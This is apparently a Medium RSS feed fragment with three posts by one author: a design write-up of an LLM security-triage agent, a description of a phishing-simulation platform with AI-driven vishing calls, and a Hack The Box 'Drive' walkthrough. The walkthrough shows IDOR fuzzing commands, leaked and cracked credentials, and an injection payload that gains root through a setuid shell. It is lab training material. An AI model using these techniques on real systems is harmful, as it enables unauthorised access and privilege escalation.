            <content:encoded><![CDATA[<p>How I designed and shipped a production incident-response agent, using a graph-based agentic framework, and the uncomfortable lessons that came with giving an LLM a seat in the SOC.</p><p><strong>The problem</strong></p><p>Security Operations Centers drown in alerts. An organization can easily generate hundreds of SIEM detections a day across cloud infrastructure, endpoints, identity, and network traffic, and the overwhelming majority are noise: a known-benign script, a security tool testing itself, a duplicate of an alert fired three minutes ago. Analysts burn their attention budget on triage before they ever get to the handful of alerts that actually matter, and the lag between “something happened” and “a human looked at it” is where real incidents get missed.</p><p>The obvious pitch is “put an LLM in front of the queue.” The hard part is doing that without handing a probabilistic text generator the keys to production security tooling. I spent the last several months building and operating exactly that system, a instant messaging-native incident-response agent that triages, investigates, and helps resolve security alerts for a SOC/CSIRT team. This post is a technical walkthrough, not just a summary, with enough detail that you could rebuild the same shape of system yourself.</p><p><strong>What it does, at a glance</strong></p><ul><li>Ingests every SIEM detection automatically, no analyst has to look at a raw alert first.</li><li>Filters out known noise with deterministic rules before anything reaches an LLM.</li><li>Enriches whatever’s left with real context: endpoint telemetry, cloud posture findings, identity and device data, behavioral baselines, threat intelligence, and a vector-search knowledge base of internal playbooks and past incidents.</li><li>Reasons over that enriched case with an LLM constrained to a typed, schema-validated output, never free text that gets executed.</li><li>Notifies the right analyst with a structured Slack card: evidence, confidence, a recommended next step, and a link to act.</li><li>Takes action only on explicit human confirmation: containing a host, disabling an account, filing a ticket.</li><li>Is also conversational: analysts and employees can @-mention it or DM it in Slack to ask about a case, request containment, pull an on-call roster, or ask a general security-awareness question.</li></ul><p><strong>The agentic framework: why a graph, not a prompt chain</strong></p><p>“Agentic” here does not mean “an LLM with free rein to call tools.” It means a system where exactly one step is an LLM call, that step can only produce a typed recommendation, and every step around it is ordinary, testable, deterministic code. Getting that shape right was the actual engineering problem, the LLM call itself was the easy part.</p><p>The pipeline is built with LangGraph, a library for defining an application as an explicit graph of nodes and edges, with a single shared, typed state object that flows between them. Concretely, that means:</p><ul><li>The pipeline is a state machine, not an implicit chain of prompts. Ingest, deterministic gates, enrichment, dedup, LLM reasoning, notify is modeled as real nodes and edges, not a sequence of prompts hoping an LLM keeps track of what it already decided. A single state object, think of it as a strongly-typed dictionary with a fixed schema, is passed from node to node, and every node declares exactly what it reads and writes.</li><li>Routing is code, not another prompt. Whether a given alert even needs the LLM is decided by a conditional edge evaluating plain Python against the state, a known false-positive signature, a proven true-positive pattern, a duplicate within a dedup window. Those cases route straight to notification or auto-close and <strong>never reach the LLM node at all</strong>.</li><li>Every node is independently testable. Because a node is just a typed function over a shared state object, tests can call graph.invoke() directly with a crafted input state and assert on the exact output, <strong>no mocking an agent’s internal reasoning loop</strong>.</li><li>The LLM node is a leaf, not a hub. It cannot call other nodes, cannot invoke tools, cannot decide what happens next. It receives an enriched case and must return a schema-validated object, verdict, confidence score, cited evidence, and <strong>the graph, not the model, decides what to do with that output</strong>.</li></ul><p>Why this mattered in practice, not just in theory: one of the real production bugs I hit (more below) was a flag that got set on the in-memory state object but was never declared in the state’s schema, so LangGraph silently dropped it between nodes. The mechanism built on that flag looked like it worked in every unit test that checked the in-memory object directly, but it had <strong>never once reached the database in production</strong>. A typed-state framework is exactly what should make a bug like that loud instead of silent, the lesson wasn’t “don’t use a graph framework,” it was “write at least one test that invokes the real graph end-to-end, not just the individual node functions in isolation.”</p><p>Why not a simpler single-LLM-with-tools agent? That pattern puts the model in the position of deciding which tool to call next, including, eventually, the tools that touch production (contain a host, disable a user). Even with careful prompting, that means the trust boundary between “model recommends” and “system acts” lives inside the model’s own reasoning, which is exactly the thing you can’t fully verify or guarantee. A graph framework lets you draw that boundary in code instead: the LLM node is structurally incapable of reaching the action nodes directly, because there is no edge that connects them without passing through a human-confirmation node first.</p><p><strong>Architecture</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-GgVxAUxDAYdsJq36hOU-w.png" /></figure><ul><li>Alert sources: SIEM detections, analysts in Slack, employees DMing the bot directly.</li><li>Secure gateway: request signing and auth, rate limiting, role and channel checks, before anything reaches the graph.</li><li>Deterministic gates: known false positives, proven true positives, duplicate suppression. The majority of volume is resolved here, with zero LLM involvement.</li><li>Enrichment: endpoint, cloud posture, identity, threat intel, and internal playbooks, pulled from read-only, narrowly-scoped integrations.</li><li>LLM reasoning: the one non-deterministic node in the graph, constrained to schema-typed output.</li><li>Action orchestrator: human confirmation, an independent authorization check, and the only part of the system that ever holds credentials capable of changing production state.</li><li>Targets: the SIEM/SOAR, EDR/identity systems, and ticketing/Slack, only ever reached through the orchestrator.</li><li>Conversational assistant: a parallel entry point (Slack @-mention or DM) that answers questions directly but routes every action request through the exact same confirmation step as the automated pipeline.</li><li>Feedback loop: a weekly job that checks whether any case the system auto-closed was later reopened or overturned by a human, closing the loop on the system’s own calibration.</li></ul><p><strong>Step by step: what happens to one alert</strong></p><ul><li>Normalize. The raw detection, in whatever shape the SIEM sent it, is converted into one consistent internal schema before anything else touches it.</li><li>Deterministic gates. Code checks the normalized alert against known false-positive signatures, known true-positive patterns, and a dedup window against recently-seen alerts. A large share of volume exits here, straight to auto-close or straight to notification, depending on which gate matched.</li><li>Enrichment. For everything still ambiguous, the graph fans out to read-only integrations and a semantic search over a vector database of internal playbooks and past incidents, so the LLM is reasoning over what the organization actually knows, not generic security advice.</li><li>LLM reasoning. The enriched case is passed to the model with a strict output schema: a verdict, a confidence score, and evidence citations pointing back to the specific enrichment data that justified the verdict.</li><li>Guardrails on the output, enforced in code, not in the prompt. A confidence threshold gates whether the verdict is actionable at all. A one-step cap limits how far any single LLM call can move a severity rating, regardless of what the model argues for.</li><li>Notify. The right analyst gets a structured Slack card, evidence, confidence, recommended next step, and a link to act, instead of a blank alert they have to investigate from zero.</li><li>Action orchestrator. If an analyst requests an action, contain a host, disable an account, file a ticket, it passes through an independent authorization check and, for anything destructive, an explicit human confirmation step before anything executes.</li><li>Weekly feedback loop. A scheduled job re-checks every case the system closed on its own that week against what actually happened afterward, surfacing any case where a human later overturned an automated call.</li></ul><p><strong>The part that actually mattered: the trust boundary</strong></p><p>The design principle I kept coming back to, borrowed from zero-trust and secure-AI-architecture thinking: <strong>the model recommends, deterministic code and a human decide</strong>. The LLM never holds a credential, never calls a production API directly, and never sees a tool definition it could invoke on its own.</p><p>Concretely, that meant building several layers that have nothing to do with prompting and everything to do with treating the LLM as an untrusted component:</p><ul><li>Input is adversarial by default. Everything that originates outside the system, alert payloads, enrichment data, anything a user types, is explicitly fenced as untrusted content in every prompt, with defenses against prompt-injection and data-exfiltration attempts embedded in alert fields.</li><li>Outputs are typed, not parsed from prose. The model returns a schema-validated object, not a paragraph regexed for intent. If it doesn’t fit the schema, the call fails safely and routes to a human.</li><li>Confidence gates every automatic decision, and a one-step cap on any severity change the model recommends is enforced in code, regardless of what the prompt says.</li><li>A daily spend/volume circuit breaker, backed by persistent storage, not an in-memory counter that resets on restart, stops a runaway loop from turning into an unbounded bill or an unbounded blast radius.</li><li>Destructive actions require human confirmation, full stop. The agent can propose disabling an account or containing a host; <strong>it cannot do either without an explicit yes from an authorized analyst</strong>.</li></ul><p>None of this is exotic. It’s the same “assume breach, verify explicitly, least privilege” thinking security teams already apply to everything else, just pointed at the AI component instead of around it.</p><p><strong>The conversational layer</strong></p><p>The same graph-based system doubles as a Slack-native assistant, so “ask the SOC” doesn’t mean waiting for a specific person to be online:</p><ul><li>Case Q&amp;A: ask about any case by ID, get the timeline, evidence, and current status.</li><li>On-call lookup: who’s covering the SOC right now, without checking a separate calendar.</li><li>Containment and account actions by name: “contain host X” or “disable user Y” in plain language, which the system resolves to the real asset before acting.</li><li>Security-awareness Q&amp;A: phishing, MFA, lost-device procedure, grounded in the organization’s actual policy library via the same vector search used for enrichment.</li><li>Every action request routes through the same confirmation step as the automated pipeline, the conversational surface is a different entry point into the graph, not a different trust model.</li></ul><p><strong>Three engineering lessons that weren’t about the AI at all</strong></p><p>Audit trails can lie if you’re not careful what “confirmed” means. Early in building the system’s self-closing logic for high-confidence true positives, I found a bug where cases the agent closed automatically were being recorded in the same field used to mark a case as human-confirmed. Nothing malicious, just a shared boolean that two different code paths wrote to for different reasons, but the effect was that the system’s own closure history was quietly fabricating ground truth. <strong>The provenance of a record matters as much as the decision itself.</strong></p><p>Idempotence is the only thing that makes a sync job safe to re-run. A chunk of the system keeps a set of operational tracking sheets in sync with live data from the security stack on a daily schedule. The naive version broke in a genuinely interesting way: one upstream API returned its metadata fields in a different key order on every call, so a plain JSON serialization of “unchanged” data looked different every single run. The fix was mechanical, normalize before comparing, but the lesson generalizes: before trusting a sync job in production, <strong>run it twice in a row with no changes in between and verify it writes nothing the second time</strong>.</p><p>Side effects that fire on import are a trap in disguise. The agent runs a dozen-plus background scheduling loops, started as soon as its main module loaded. That’s convenient right up until a test suite imports that module inside the same environment that holds real credentials: suddenly a test run fires the real job, for real, against real systems. The fix was to move every side effect behind an explicit “only when this is the actual running server” guard.</p><p><strong>The stack</strong></p><ul><li>Orchestration: LangGraph, the deterministic pipeline as an explicit, typed state machine.</li><li>Reasoning: a large language model, called only from within a single graph node, constrained to schema-validated structured output.</li><li>Enrichment integrations: SIEM, EDR, cloud security posture tooling, identity provider, and threat intelligence feeds, each a dedicated, narrowly-scoped, read-only-unless-confirmed integration.</li><li>Knowledge base: PostgreSQL with pgvector, backing semantic search over the team’s own playbooks and incident history.</li><li>Interface: Slack, both the automated notification pipeline and the conversational assistant.</li><li>Runtime: a containerized service with a non-root user, isolated internal networking for anything holding sensitive data.</li><li>Testing: a suite in the hundreds of cases, including graph-level integration tests that invoke the real state machine end-to-end.</li></ul><p><strong>Where it landed</strong></p><p>In production, the system handles the first pass on every detection the SIEM generates, closing out confirmed noise automatically and routing everything else to an analyst with pre-built context instead of a blank alert. The qualitative shift mattered more than any single number: analysts stopped starting their investigation from zero, the team gained a weekly automated check on whether any of the system’s own auto-closed decisions were ever later overturned by a human, and the conversational interface turned “ask the SOC” into something that answers in seconds, day or night, and still loops in a human the moment the question involves actually changing something.</p><p>It’s still evolving, new enrichment sources, new conversational capabilities, and an ongoing habit of re-reading every “the AI said X” decision against what actually happened, because that feedback loop is the only thing that keeps the confidence numbers honest over time.</p><p>Stack: Python, LangGraph, a large language model behind a schema-validated output boundary, PostgreSQL with pgvector, Slack as the primary interface, containerized deployment.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=334db07676bd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building PhishCamp: A Modern Phishing Simulation & Security Awareness Platform]]></title>
            <link>https://ojosephoyeyemi.medium.com/building-phishcamp-a-modern-phishing-simulation-security-awareness-platform-b47804a03f33?source=rss-91ab9a46e86a------2</link>
            <guid isPermaLink="false">https://medium.com/p/b47804a03f33</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[apps]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <dc:creator><![CDATA[Joseph Olanrewaju]]></dc:creator>
            <pubDate>Thu, 01 Oct 2026 10:42:16 GMT</pubDate>
            <atom:updated>2026-10-01T16:20:43.426Z</atom:updated>
            <content:encoded><![CDATA[<p>Most organizations run phishing simulations the same way they did a decade ago: send a generic templated email, record who clicked, repeat quarterly. The result is a vanity metric, not actual behavior change. Over the past several months, I led the evolution of PhishCamp, an organization’s internal phishing simulation and security-awareness platform, from a general-purpose open-source phishing toolkit into a purpose-built system that tests employees across email, SMS, and voice and closes the loop automatically by teaching people exactly what they missed.</p><h3>The problem</h3><p>Traditional phishing simulations stop at detection. An employee clicks a bad link, gets flagged, and -if an admin has time-eventually gets assigned some generic “security awareness” training weeks later, long after the moment has passed. There’s no connection between what specific red flag fooled someone and what they’re taught afterward. At the same time, real attackers don’t just send email anymore-they call, they text, they impersonate IT helpdesks over the phone. A platform that only simulates email phishing is testing half the threat model.</p><h3>What I built</h3><ul><li>Multi-vector simulations: email (phishing), SMS (smishing), and voice (vishing), including a live, AI-driven vishing mode where a language model conducts a real-time adaptive phone conversation with the target rather than playing a fixed script, so the simulation reacts the way a real social-engineering call would.</li><li>Indicator-based auto-remediation: the piece I’m proudest of. Every shing template is tagged with the specific red flags it relies on: spoofed sender, urgency language, a lookalike domain, a suspicious attachment, and so on. The moment someone fails a simulation, the system automatically matches those tags against a library of micro-courses and enrolls the employee in the one that teaches exactly what they missed, with no admin having to manually pick a course days later. It turns “you failed” into “here’s the 90 seconds of training that would have caught this,” while it’s still fresh.</li><li>Enterprise SSO-single sign-on for admin access, role-based permissions, and a full audit trail of administrative actions for compliance and incident review.</li><li>Risk analytics: a weighted risk-scoring engine with configurable multipliers for higher-risk departments or roles, historical trend snapshots, and executive-level reporting with exportable audit reports.</li><li>Operational automation: HR-driven employee roster sync, scheduled and recurring campaigns, and SLA-based escalation over email and Slack when assigned training goes overdue.</li><li>Secure, containerized deployment - migrated the platform to a container-based deployment with secrets pulled from a cloud secret manager at runtime instead of living in config files, and hardened several other credential-handling paths along the way.</li><li>A full UI/UX overhaul: a consistent design system, light and dark themes, accessible focus states, and a working mobile-responsive layout, replacing an admin interface that hadn’t meaningfully changed in years.</li></ul><figure><img alt="Flow diagram titled “How PhishCamp Works”: a campaign launches over email, SMS, or voice. The employee either reports it, or clicks a link, submits data, or falls for the call. A failed attempt gets its indicators tagged, matched against the course library, and a training course auto-assigned. Both paths update the employee’s risk score, feeding the org resilience dashboard." src="https://cdn-images-1.medium.com/max/1024/1*cnmh5-zbJUdVFMpK3HAkfA.png" /></figure><h3>Why it matters</h3><p>Security awareness only works if the feedback loop is immediate and specific. By connecting what fooled someone directly to what they’re taught next, and by testing the full range of channels attackers actually use rather than just email, PhishCamp is a much closer simulation of real-world social engineering than the quarterly email-click test most companies still run.</p><p>If you’d like to talk through any part of the architecture or the auto-remediation design in more depth, I’m happy to walk through it.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b47804a03f33" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box Drive Walkthrough]]></title>
            <link>https://ojosephoyeyemi.medium.com/hack-the-box-drive-walkthrough-07a23ce45d77?source=rss-91ab9a46e86a------2</link>
            <guid isPermaLink="false">https://medium.com/p/07a23ce45d77</guid>
            <dc:creator><![CDATA[Joseph Olanrewaju]]></dc:creator>
            <pubDate>Fri, 22 Mar 2024 09:13:10 GMT</pubDate>
            <atom:updated>2024-03-22T09:13:10.090Z</atom:updated>
            <content:encoded><![CDATA[<h3>Enumeration</h3><p>Ran nmap for open ports and services running on those ports:</p><p>Here I discovered opened port 22 (ssh) and 80 (nginx) and a filtered port 3000.</p><p>Also I discovered a domain <em>drive.htb</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*euAaOzJUk47pvbHwHUYOnA.png" /></figure><p>I mapped the domain <em>drive.htb</em> to the box ip “10.10.11.235”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_9HB6CzahOKFRSZwadIRoA.png" /></figure><p>Navigating to the domain via the browser took me to a website Doogle Grive similar to the functionality of Google Drive that has features of uploading, edit and sharing files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-2pn8q34dlC2uNRwwHCVnA.png" /></figure><p>So I registered an account “clinton” and login</p><p>After logging in, i uploaded a file and found out that i’m able to modify, delete and even change the group ownership of the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kP6xv07sWsWhOLSoc9CE2Q.png" /></figure><p>Refreshing the page of the uploaded test file, i intercepted the traffic and also sent it to Burpsuite’s repeater On the request, i can i see a file id 112 and block, i can also see the cookie information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ARM_GVoMMHRFsDnKn0VR0Q.png" /></figure><p>Now I identify the valid file ids using wfuzz to test for IDOR vulnerability and we have 79, 101,100,99,98,112</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7IkVX4RzlBfL9jlYsvFQIg.png" /></figure><pre>┌──(root㉿kali)-[/home/kali/Downloads]<br>└─# wfuzz -u &quot;&lt;http://drive.htb/FUZZ/getFileDetail/&gt;&quot; -z range,0-300 -H &quot;Cookie: csrftoken=RNizDitxmrLDRFURTY1a60n8h4yoZ6s4; sessionid=gi503xy3215jlhwxfwolp9hsqvjk38zo&quot; --hc 404,500<br> /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz&#39;s documentation for more information.<br>********************************************************<br>* Wfuzz 3.1.0 - The Web Fuzzer                         *<br>********************************************************</pre><pre>Target: &lt;http://drive.htb/FUZZ/getFileDetail/&gt;<br>Total requests: 301</pre><pre>=====================================================================<br>ID           Response   Lines    Word       Chars       Payload                                                                                                                                                                    <br>=====================================================================</pre><pre>000000080:   401        0 L      2 W        26 Ch       &quot;79&quot;                                                                                                                                                                       <br>000000102:   401        0 L      2 W        26 Ch       &quot;101&quot;                                                                                                                                                                      <br>000000101:   200        171 L    376 W      5082 Ch     &quot;100&quot;                                                                                                                                                                      <br>000000100:   401        0 L      2 W        26 Ch       &quot;99&quot;                                                                                                                                                                       <br>000000099:   401        0 L      2 W        26 Ch       &quot;98&quot;                                                                                                                                                                       <br>000000113:   200        165 L    353 W      4846 Ch     &quot;112&quot;                                                                                                                                                                      <br>000000117:   200        547 L    1366 W     17075 Ch    &quot;116&quot;                                                                                                                                                                      <br>000000114:   200        542 L    830 W      20819 Ch    &quot;113&quot;                                                                                                                                                                      <br>000000118:   200        547 L    1366 W     17088 Ch    &quot;117&quot;                                                                                                                                                                      </pre><pre>Total time: 0<br>Processed Requests: 301<br>Filtered Requests: 292<br>Requests/sec.: 0</pre><pre>                                                                                                                                                                                                                                            <br>┌──(root㉿kali)-[/home/kali/Downloads]<br>└─# wfuzz -u &quot;&lt;http://drive.htb/FUZZ/getFileDetail/&gt;&quot; -z range,0-300 -H &quot;Cookie: csrftoken=RNizDitxmrLDRFURTY1a60n8h4yoZ6s4; sessionid=gi503xy3215jlhwxfwolp9hsqvjk38zo&quot; --hc 404,500,401<br> /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz&#39;s documentation for more information.<br>********************************************************<br>* Wfuzz 3.1.0 - The Web Fuzzer                         *<br>********************************************************</pre><pre>Target: &lt;http://drive.htb/FUZZ/getFileDetail/&gt;<br>Total requests: 301</pre><pre>=====================================================================<br>ID           Response   Lines    Word       Chars       Payload                                                                                                                                                                    <br>=====================================================================</pre><pre>000000101:   200        171 L    376 W      5082 Ch     &quot;100&quot;                                                                                                                                                                      <br>000000113:   200        165 L    353 W      4846 Ch     &quot;112&quot;                                                                                                                                                                      <br>000000114:   200        542 L    830 W      20819 Ch    &quot;113&quot;                                                                                                                                                                      <br>000000117:   200        547 L    1366 W     17075 Ch    &quot;116&quot;                                                                                                                                                                      <br>000000118:   200        547 L    1366 W     17088 Ch    &quot;117&quot;                                                                                                                                                                      </pre><pre>Total time: 0<br>Processed Requests: 301<br>Filtered Requests: 296<br>Requests/sec.: 0</pre><pre>                                                                                                                                                                                                                                            <br>┌──(root㉿kali)-[/home/kali/Downloads]<br>└─# ffuf -u &lt;http://drive.htb/FUZZ/getFileDetail/&gt; -w &lt;(seq 0 2000) -H &quot;Cookie: csrftoken=RNizDitxmrLDRFURTY1a60n8h4yoZ6s4; sessionid=gi503xy3215jlhwxfwolp9hsqvjk38zo&quot; -fc 500</pre><pre>        /&#39;___\\  /&#39;___\\           /&#39;___\\       <br>       /\\ \\__/ /\\ \\__/  __  __  /\\ \\__/       <br>       \\ \\ ,__\\\\ \\ ,__\\/\\ \\/\\ \\ \\ \\ ,__\\      <br>        \\ \\ \\_/ \\ \\ \\_/\\ \\ \\_\\ \\ \\ \\ \\_/      <br>         \\ \\_\\   \\ \\_\\  \\ \\____/  \\ \\_\\       <br>          \\/_/    \\/_/   \\/___/    \\/_/       </pre><pre>       v1.5.0 Kali Exclusive &lt;3<br>________________________________________________</pre><pre> :: Method           : GET<br> :: URL              : &lt;http://drive.htb/FUZZ/getFileDetail/&gt;<br> :: Wordlist         : FUZZ: /proc/self/fd/11<br> :: Header           : Cookie: csrftoken=RNizDitxmrLDRFURTY1a60n8h4yoZ6s4; sessionid=gi503xy3215jlhwxfwolp9hsqvjk38zo<br> :: Follow redirects : false<br> :: Calibration      : false<br> :: Timeout          : 10<br> :: Threads          : 40<br> :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500<br> :: Filter           : Response status: 500<br>________________________________________________</pre><pre>79                      [Status: 401, Size: 26, Words: 2, Lines: 1, Duration: 1682ms]<br>98                      [Status: 401, Size: 26, Words: 2, Lines: 1, Duration: 1850ms]<br>99                      [Status: 401, Size: 26, Words: 2, Lines: 1, Duration: 1852ms]<br>100                     [Status: 200, Size: 5082, Words: 1147, Lines: 172, Duration: 2232ms]<br>101                     [Status: 401, Size: 26, Words: 2, Lines: 1, Duration: 2540ms]<br>112                     [Status: 200, Size: 4846, Words: 1044, Lines: 166, Duration: 2661ms]<br>113                     [Status: 200, Size: 20819, Words: 7442, Lines: 543, Duration: 2658ms]<br>116                     [Status: 200, Size: 17075, Words: 7272, Lines: 548, Duration: 3195ms]<br>117                     [Status: 200, Size: 17088, Words: 7272, Lines: 548, Duration: 3413ms]<br>:: Progress: [2001/2001] :: Job [1/1] :: 49 req/sec :: Duration: [0:01:44] :: Errors: 0 ::<br>                                                                                                                                                                                                                                            <br>┌──(root㉿kali)-[/home/kali/Downloads]</pre><p>I navigated to each valid ids (<a href="http://drive.htb/**id**/block">http://drive.htb/**id**/block</a>) substituting the id with the numbers and later found a file that contains password for martin and another file that contains information regarding the backup</p><p>id 79</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*krtDRbSrH2ZSyHbmy9uq3g.png" /></figure><p>id 101</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CTZALgRhuttFz9AU22R6ug.png" /></figure><p>I then use the found martin credential (martin:Xk4@KjyrYv8t194L!) to ssh into the machine;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OKsDN79c8y_yOO7Hm6DGGw.png" /></figure><p>I checked the found snap folder, history and couldnt find anything juicy</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tno8kTIyJGCJuHbXhA7RFA.png" /></figure><p>I then navigated to the stated database backup directory found on id 101 /var/www/backups/ and i found the database backup</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WXHfgkSHvkbVyP6lMRIrLA.png" /></figure><p>I downloaded the db.sqlite3 into my machine using scp</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q8P46LflHBAiifpXHVVZwA.png" /></figure><p>I used sqlite3 on my kali to connect to the database db.sqlite3 and used .dump to dump the content of the database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fBBECLeJfAgc4_UPLpKA2Q.png" /></figure><p>Since the .dump contains lots of information. i then used the .table command to get the table and select all content of the first one “accounts_customuser” which gave me the hashes for the users passwords.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NDPB4BtXNYgWQ4GBRHp5vQ.png" /></figure><p>I then copied the hashes to a file “hashes” and i used hashcat to crack the hash.</p><p>The only successful one was for tom which is john316</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ijKJeDTivzgU9Bty9srGCw.png" /></figure><p>I tried to ssh with the password but was unsuccessful</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oSyCQcJjLbpU2qw5gf8l8w.png" /></figure><p>Checking through the machine via user martin access, I found the gitea service in the /usr/local/bin directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j5LI-lRmnDEI5fzPnpJ9Zw.png" /></figure><p>Googling, I saw that it runs on port 3000 and it host repositories and code review</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wr1lqw4glyr22jkGBwMPkg.png" /></figure><p>I then tried to start the gitea service but it already seems like its running but cant be accessed outside the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tWpNC8nJ7qJuexMZRRVXFw.png" /></figure><p>I therefore port forward port 3000 so that it can accessible outside the machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*joImVurmF3RlQ8F0TfXfcA.png" /></figure><p>So I was now able access it through the <a href="http://localhost:3000/">localhost:3000</a> on the browser</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*87wHt8ixZvncbkrt0PYrvw.png" /></figure><p>I then login using martin credential, (remembering that martin username with the hashes on the sql_db is martincruz</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UhK8Hf42FPQRqI1SquCAoA.png" /></figure><p>So i login using martincruz:Xk4@KjyrYv8t194L! to gain access to the web application similar to github.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y3EWmYPjkR8L3hHckroHaA.png" /></figure><p>I was able to locate the password “H@ckThisP@ssW0rDIfY0uC@n:)” for 7z compressed database backup files:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p7SBL-PmXrK3b8rOj6OG2Q.png" /></figure><p>I copied the 7z compressed database backup to my kali and extracted them using the found password for the extraction</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YOVgtqaBxk5I2YV3WoXgkg.png" /></figure><p>I connected to the most recent backup which is December, and i dumped the content of the customuser</p><p>Since its in SHA256, it would take forever to crack so i shift our attention to another until i reached October, so i connected to it dumped the content of the accounts_customuser:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ezkdkxt0fdg-zbuZDNq9tQ.png" /></figure><p>I then copied the hashes to a file “hashes” and i used hashcat to crack the hash and i have the below:</p><p>jamesMason@drive.htb|johniscool</p><p>tom: johnmayer7</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kftlKUf8FiQpkOfREPqePA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p5oqCt_e02_A0SA-iX7P3g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c1x4z5GOTbSORtegyuGXlA.png" /></figure><p>I now ssh to the machine using cracked tom password “johnmayer7”</p><p>and cat the user.txt to get the user flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pXT2IuxyyGxHjGSEgw5ZOw.png" /></figure><p>The user flag is: 8dc4f4cc850360d49482cda0b464ba1f</p><h3>Privilege Escalation</h3><p>within the directory, i found a binary file own by root and more info from the readme file shows that it can grant cli to interact with the Doodle-Grive</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g49SmW2tx58Qz5DqvJ81fQ.png" /></figure><p>i downloaded the binary file into my machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6hllJG0Gqy0sUyVZ8AsLow.png" /></figure><p>I then use strings command to fetch out the strings of the file, and i was able to locate the password and the username</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JvHCfjXQVbHeSEptJLlh0Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yvmfwN7_c-ClvVxFFXBPcg.png" /></figure><p>so therefore the username and password is —</p><p>moriarty:findMeIfY0uC@nMr.Holmz!</p><p>I also created a file named hack which contains the command /bin/bash</p><p>NB: <strong>u+s</strong>: This specifies that the setuid bit should be set for the owner (user) of the file. When the setuid bit is set on an executable file, it allows any user who runs the file to inherit the permissions of the file&#39;s owner rather than the permissions of the user who executed it. In this case, it&#39;s setting the setuid bit for the owner.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zl5UiCPFxjvxAcU86X1OgA.png" /></figure><p>I then ran the binary file, doodleGrive-cli and authenticated via the obtained credential. and then i select 5 to activate a user and then use the below as the user, remember the hack is already embedded with the setuid bin/bash command</p><pre>&quot;&amp;edit(id, &quot;hack&quot;)--</pre><p>I then use the bash file that has been assigned as the binary file to escalate to root</p><p>and i now get the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*5FHzYlfI7eypcbvdmgBR9A.png" /></figure><p>Finally the challenge has been completed</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*x3dlfim0J1-6GaiVkQw8Ew.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=07a23ce45d77" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Having exposed to python programmers scripts on several platform, it’s discovered that a bunch of…]]></title>
            <link>https://ojosephoyeyemi.medium.com/having-exposed-to-python-programmers-scripts-on-several-platform-its-discovered-that-a-bunch-of-b97edc7d04a5?source=rss-91ab9a46e86a------2</link>
            <guid isPermaLink="false">https://medium.com/p/b97edc7d04a5</guid>
            <category><![CDATA[oop]]></category>
            <category><![CDATA[programming-languages]]></category>
            <category><![CDATA[python]]></category>
            <dc:creator><![CDATA[Joseph Olanrewaju]]></dc:creator>
            <pubDate>Thu, 10 Dec 2020 06:04:41 GMT</pubDate>
            <atom:updated>2020-12-10T06:04:41.600Z</atom:updated>
